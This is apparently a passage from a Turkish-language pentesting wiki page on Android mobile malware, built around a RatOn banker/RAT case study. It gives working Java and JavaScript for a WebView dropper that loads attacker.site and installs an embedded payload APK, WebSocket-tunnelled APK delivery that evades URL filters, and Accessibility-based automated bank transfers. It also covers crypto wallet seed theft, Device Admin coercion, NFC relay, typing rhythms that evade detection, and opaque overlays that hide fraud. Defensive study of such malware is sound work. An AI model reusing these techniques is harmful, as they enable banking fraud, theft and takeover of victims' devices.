// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Basit kontrollerden nasıl kaçınır:
- Statik bir APK URL'si ifşa edilmez; payload, WebSocket frames'ten bellekte yeniden oluşturulur.
- URL/MIME/extension filtreleri doğrudan .apk yanıtlarını engellese bile WebSockets/Socket.IO üzerinden tünellenen ikili veriyi kaçırabilir.
- WebSockets'i çalıştırmayan crawlers ve URL sandbox'ları payload'u almayacektir.

Ayrıca bakınız: WebSocket tradecraft and tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn vaka incelemesi

RatOn banker/RAT kampanyası (ThreatFabric), modern mobil phishing operasyonlarının WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover ve hatta NFC-relay orchestration'ı nasıl harmanladığının somut bir örneğidir. Bu bölüm yeniden kullanılabilir teknikleri soyutlar.

### Stage-1: WebView → native install bridge (dropper)

Saldırganlar, saldırgan bir sayfaya işaret eden bir WebView gösterir ve native installer'ı açığa çıkaran bir JavaScript interface'i enjekte eder. Bir HTML düğmesine dokunmak, dropper'ın assets'inde paketlenmiş ikinci aşama bir APK'yı kuran native koda çağrı yapar ve ardından onu doğrudan başlatır.

Minimal desen:

<details>
<summary>Stage-1 dropper minimal pattern (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

Sayfadaki HTML:

<button onclick="bridge.installApk()">Install</button>

Yüklemeden sonra, dropper payload’u explicit package/activity aracılığıyla başlatır:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting fikri: untrusted apps calling addJavascriptInterface() ve WebView’e installer-benzeri yöntemler açmak; APK assets/ altında gömülü ikincil bir payload taşımak ve Package Installer Session API’yi çağırmak.

Onay hunisi: Accessibility + Device Admin + izleyen runtime istemleri

Stage-2, “Access” sayfasını barındıran bir WebView açar. Butonu, kurbanı Accessibility ayarlarına götüren ve rogue servisi etkinleştirmeyi talep eden exported bir yöntemi çağırır. Bir kez verildiğinde, malware Accessibility’i kullanarak sonraki runtime izin diyaloglarında (contacts, overlay, manage system settings, vb.) otomatik olarak ilerler ve Device Admin ister.

• Accessibility, node ağacında “Allow”/“OK” gibi düğmeleri bularak ve tıklama olayları göndererek sonraki istemleri programatik olarak kabul etmeye yardımcı olur.
• Overlay permission kontrol/isteği:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Ayrıca bakınız:

Accessibility Services Abuse

WebView üzerinden overlay phishing/ransom

Operatörler aşağıdaki komutları verebilir:

• bir URL’den tam ekran overlay göstermek, veya
• bir inline HTML geçirip bunun bir WebView overlay içinde yüklenmesini sağlamak.

Olası kullanımlar: coercion (PIN entry), cüzdan açarak PIN yakalama, ransom mesajlaşması. Eksikse overlay izninin verildiğinden emin olmak için bir komut bulundurun.

Remote control model – text pseudo-screen + screen-cast

• Low-bandwidth: periyodik olarak Accessibility node ağacını dök, görünür metinleri/rolleri/bounds’u serileştir ve bunları pseudo-ekran olarak C2’ye gönder (tek seferlik txt_screen ve sürekli screen_live gibi komutlar).
• High-fidelity: MediaProjection isteğinde bulun ve talep üzerine screen-casting/recording başlat (display / record gibi komutlar).

ATS playbook (banka uygulaması otomasyonu)

Verilen bir JSON görevi halinde, banka uygulamasını açın, metin sorguları ve koordinat tıklamalarının karışımıyla Accessibility üzerinden UI’yi yönlendirin ve istendiğinde kurbanın ödeme PIN’ini girin.

Example task:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Bir hedef akışında görülen örnek metinler (CZ → EN):

• “Nová platba” → “Yeni ödeme”
• “Zadat platbu” → “Ödeme gir”
• “Nový příjemce” → “Yeni alıcı”
• “Domácí číslo účtu” → “Yurtiçi hesap numarası”
• “Další” → “İleri”
• “Odeslat” → “Gönder”
• “Ano, pokračovat” → “Evet, devam et”
• “Zaplatit” → “Öde”
• “Hotovo” → “Tamamlandı”

Operatörler ayrıca transfer limitlerini check_limit ve limit gibi komutlarla kontrol edebilir veya artırabilir; bu komutlar limitler UI’sında benzer şekilde gezinir.

Crypto wallet seed extraction

Hedefler: MetaMask, Trust Wallet, Blockchain.com, Phantom gibi. Akış: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Diller arasında gezinmeyi kararlı hale getirmek için locale-aware selectors (EN/RU/CZ/SK) uygulayın.

Device Admin coercion

Device Admin APIs, PIN-capture fırsatlarını artırmak ve mağduru zor duruma düşürmek için kullanılır:

• Anında kilitleme:

dpm.lockNow();

• Mevcut kimlik bilgisinin süresini sona erdirerek değişikliği zorla (Erişilebilirlik yeni PIN/şifreyi yakalar):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• Biometrik olmayan kilidi zorla, keyguard biyometrik özelliklerini devre dışı bırakarak:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Not: Birçok DevicePolicyManager denetimi son Android sürümlerinde Device Owner/Profile Owner gerektirir; bazı OEM build’leri daha gevşek olabilir. Hedef OS/OEM üzerinde her zaman doğrulayın.

NFC röle orkestrasyonu (NFSkate)

Stage-3, harici bir NFC-relay modülünü (ör. NFSkate) kurup başlatabilir ve röle sırasında mağduru yönlendirmek için bir HTML şablonu bile verebilir. Bu, online ATS ile birlikte temassız card-present nakit çekimini mümkün kılar.

Arka plan: NFSkate NFC relay.

Operatör komut seti (örnek)

• UI/durum: txt_screen, screen_live, display, record
• Sosyal: send_push, Facebook, WhatsApp
• Overlay’ler: overlay (inline HTML), block (URL), block_off, access_tint
• Cüzdanlar: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Cihaz: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• İletişim/Keşif: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Erişilebilirlik tabanlı ATS tespit önleme: insan-benzeri metin ritmi ve çift metin enjeksiyonu (Herodotus)

Tehdit aktörleri giderek Erişilebilirlik tabanlı otomasyonu, temel davranış biyometrilerine karşı ayarlanmış tespit önleme ile harmanlıyor. Yakın zamanda görülen bir banker/RAT iki tamamlayıcı metin iletim modu ve rastgeleleştirilmiş ritimle insan yazmasını simüle eden bir operatör anahtarı gösteriyor.

• Keşif modu: işlem yapmadan önce girdileri (ID, text, contentDescription, hint, bounds) hassas şekilde hedeflemek için seçiciler ve bounds ile görünür node’ları listele.
• Çift metin enjeksiyonu:
  • Mod 1 – ACTION_SET_TEXT hedef node üzerinde doğrudan (kararlı, klavye yok);
  • Mod 2 – panoya ayarlama + ACTION_PASTE ile odaklanmış node’a yapıştırma (doğrudan setText engellendiğinde çalışır).
• İnsan-benzeri ritim: operatörün verdiği diziyi karakter karakter ayırıp olaylar arasında 300–3000 ms arası rastgele gecikmelerle ileterek “machine-speed typing” heuristiklerinden kaçınma. Bu ya ACTION_SET_TEXT ile değeri kademeli olarak büyüterek ya da karakter karakter yapıştırarak uygulanır.

</details>

Dolandırıcılığı gizlemek için engelleyici overlay'ler:
- Tam ekran bir `TYPE_ACCESSIBILITY_OVERLAY` oluşturun; opaklığı operatör tarafından kontrol edilsin; uzaktan otomasyon altta ilerlerken kurban için opak tutun.
- Genellikle sunulan komutlar: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Ayarlanabilir alfa içeren minimal overlay:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);